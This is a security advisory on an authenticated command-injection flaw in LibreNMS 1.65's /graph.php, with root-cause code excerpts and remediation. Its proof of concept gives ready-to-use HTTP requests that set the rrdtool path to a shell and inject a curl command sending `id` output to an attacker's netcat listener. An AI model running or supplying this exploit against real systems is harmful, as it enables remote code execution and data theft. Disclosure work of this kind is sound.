LibreNMS /graph.php Authenticated Command Injection

Summary

LibreNMS 1.65 is affected by an authenticated command-injection vulnerability via the HTTP GET title parameter in the /graph.php API endpoint. A ’normal’ privileges attacker can gain Remote Code Execution (RCE) on the LibreNMS host.

Product Description (from vendor)

“LibreNMS is an autodiscovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems including Cisco, Linux, FreeBSD, Juniper, Brocade, Foundry, HP and many more”. For more information on LibreNMS, visit https://www.librenms.org/.

CVE(s)

Details

Root Cause Analysis

The title parameter in the API endpoint /graph.php is used to define the title of the graph produced by rrdtool, as we can see at https://github.com/librenms/librenms/blob/1.65/includes/html/graphs/graph.inc.php :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
    <?php

    use LibreNMS\Config;

    // Push $_GET into $vars to be compatible with web interface naming
    foreach ($_GET as $name => $value) {
-->     $vars[$name] = $value;
    }

    list($type, $subtype) = extract_graph_type($vars['type']);

    [...]

-->     graph_error("$type*$subtype ");

    [...]

    function graph_error($string)
    {
        global $vars, $debug, $graphfile;

        $vars['bg'] = 'FFBBBB';

        include 'includes/html/graphs/common.inc.php';

        $rrd_options .= ' HRULE:0#555555';
-->     $rrd_options .= " --title='".$string."'";

Such options will be written in the STDIN pipe of a new process started by calling the configured rrdtool binary in https://github.com/librenms/librenms/blob/1.65/LibreNMS/Data/Store/Rrd.php#L77 :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    <?php

    [...]
    
    $command = Config::get('rrdtool', 'rrdtool') . ' -';

    $descriptor_spec = [
        0 => ['pipe', 'r'], // stdin  is a pipe that the child will read from
        1 => ['pipe', 'w'], // stdout is a pipe that the child will write to
        2 => ['pipe', 'w'], // stderr is a pipe that the child will write to
    ];

    $cwd = Config::get('rrd_dir');

    if (!$this->isSyncRunning()) {
-->     $this->sync_process = new Proc($command, $descriptor_spec, $cwd);

By using LibreNMS /about Authenticated Command Injection it is possible to set the rrdtool to an arbitrary binary on the LibreNMS host. By setting it to a shell, e.g. ‘/bin/bash’, and using a malicious title parameter it is possible to inject arbitrary shell commands in the “rrdtool” call.

Proof of Concept

  1. Start a TCP listener on a host reachable by the target LibreNMS server, e.g.:
1
2
$ nc -vnlp 8008
Listening on [0.0.0.0] (family 0, port 8008)
  1. Log-in LibreNMS and take note of the X-CSRF-TOKEN HTTP header and XSRF-TOKEN and laravel_session HTTP cookies values
  2. Edit with your own values and perform the following HTTP request:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
PUT /settings/rrdtool HTTP/1.1
Host: <EDIT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:76.0) Gecko/20100101 Firefox/76.0
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: <EDIT>
Content-type: application/json
Connection: close
Cookie: XSRF-TOKEN=<EDIT>; laravel_session=<EDIT>

{"value":"/bin/bash"}
  1. Request the LibreNMS endpoint [LibreNMS host ip/hostname]/graph.php with a malicious type parameter (edit again where noted):
1
2
3
4
5
6
7
8
GET /graph.php?from=1&to=2&width=10&height=100&type=device_test%27%3bcurl+--data+%22`id`%22+<EDIT>:8008+%23 HTTP/1.1
Host: 192.168.252.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:76.0) Gecko/20100101 Firefox/76.0
X-CSRF-TOKEN: <EDIT>
X-Requested-With: XMLHttpRequest
Content-type: application/json
Connection: close
Cookie: XSRF-TOKEN=<EDIT>; laravel_session=<EDIT>

Note: do not use any / in the type parameter because a basename call is performed and it would break the exploit.

The request will trigger the malicious command execution and send the HTTP request to our listener:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ nc -vnlp 8008
Listening on [0.0.0.0] (family 0, port 8008)
Connection from 192.168.252.129 60006 received!
POST /rce HTTP/1.1
User-Agent: curl/7.29.0
Host: 192.168.252.1:8008
Accept: */*
Content-Length: 99
Content-Type: application/x-www-form-urlencoded

uid=996(nginx) gid=48(apache) groups=48(apache),1001(librenms) context=system_u:system_r:httpd_t:s0

Impact

A low-privileged attacker can gain Remote Code Execution (RCE) on the LibreNMS host.

Remediation

The title parameter is now correctly sanitized. Upgrade to LibreNMS 1.65.1 or later.

Disclosure Timeline

This report was subject to Shielder’s disclosure policy:

Credits

`polict` of Shielder

This advisory was first published on https://www.shielder.com/advisories/librenms-graph-authenticated-command-injection/

Date

10 July 2020